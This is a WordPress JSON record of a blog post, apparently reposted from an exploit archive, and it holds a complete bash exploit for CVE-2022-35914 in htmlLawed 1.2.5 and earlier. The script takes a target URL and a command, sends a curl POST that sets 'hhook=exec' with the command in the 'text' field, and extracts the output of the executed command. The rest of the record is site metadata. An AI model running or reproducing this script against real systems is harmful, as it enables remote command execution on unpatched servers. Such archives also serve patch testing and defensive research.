{"id":56641,"date":"2024-05-02T18:30:54","date_gmt":"2024-05-02T14:30:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178425\/CVE-2022-35914.sh.txt"},"modified":"2024-05-02T18:30:54","modified_gmt":"2024-05-02T14:30:54","slug":"htmllawed-1-2-5-remote-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/htmllawed-1-2-5-remote-command-execution\/","title":{"rendered":"htmlLawed 1.2.5 Remote Command Execution"},"content":{"rendered":"

#!\/bin\/bash<\/p>\n

# Exploit Title: htmlLawed <= 1.2.5 – Remote Code Execution<\/p>\n

# Date: 2024-05-02
# Exploit Author: Miguel Redondo (aka d4t4s3c)
# Vendor Homepage: https:\/\/www.bioinformatics.org\/phplabware\/internal_utilities\/htmLawed
# Software Link: https:\/\/github.com\/kesar\/HTMLawed
# Version: <= 1.2.5
# Tested on: Linux
# Category: Web Application
# CVE: CVE-2022-35914<\/p>\n

while getopts “:u:c:” arg; do
case ${arg} in
u) url=${OPTARG}; let parameter_counter+=1 ;;
c) cmd=${OPTARG}; let parameter_counter+=1 ;;
esac
done<\/p>\n

if [ -z “${url}” ] || [ -z “${cmd}” ]; then
echo -e “\\n[*] htmlLawed <= 1.2.5 – Remote Code Execution”
echo -e “\\n[-] Usage: CVE-2022-35914.sh -u <url> -c <cmd>\\n”
exit 1
else
echo -e “\\n[*] htmlLawed <= 1.2.5 – Remote Code Execution”
echo -e “\\n[+] Executing Command: ${cmd}\\n”
cmd_output=$(curl -s -d “sid=foo&hhook=exec&text=${cmd}” -b “sid=foo” ${url} | egrep ‘\\&nbsp; \\[[0-9]+\\] =\\>’ | sed -E ‘s\/\\&nbsp; \\[[0-9]+\\] =\\> (.*)<br \\\/>\/\\1\/’)
echo -e “${cmd_output}\\n”
exit 0
fi<\/p>\n","protected":false},"excerpt":{"rendered":"

#!\/bin\/bash # Exploit Title: htmlLawed <= 1.2.5 – Remote Code Execution # Date: 2024-05-02# Exploit Author: Miguel Redondo (aka d4t4s3c)# Vendor Homepage: https:\/\/www.bioinformatics.org\/phplabware\/internal_utilities\/htmLawed# Software Link: https:\/\/github.com\/kesar\/HTMLawed# Version: <= 1.2.5# Tested on: Linux# Category: Web Application# CVE: CVE-2022-35914 while getopts “:u:c:” arg; docase ${arg} inu) url=${OPTARG}; let parameter_counter+=1 ;;c) cmd=${OPTARG}; let parameter_counter+=1 ;;esacdone if [ -z …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56641","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56641","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56641"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56641\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56641"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56641"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56641"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}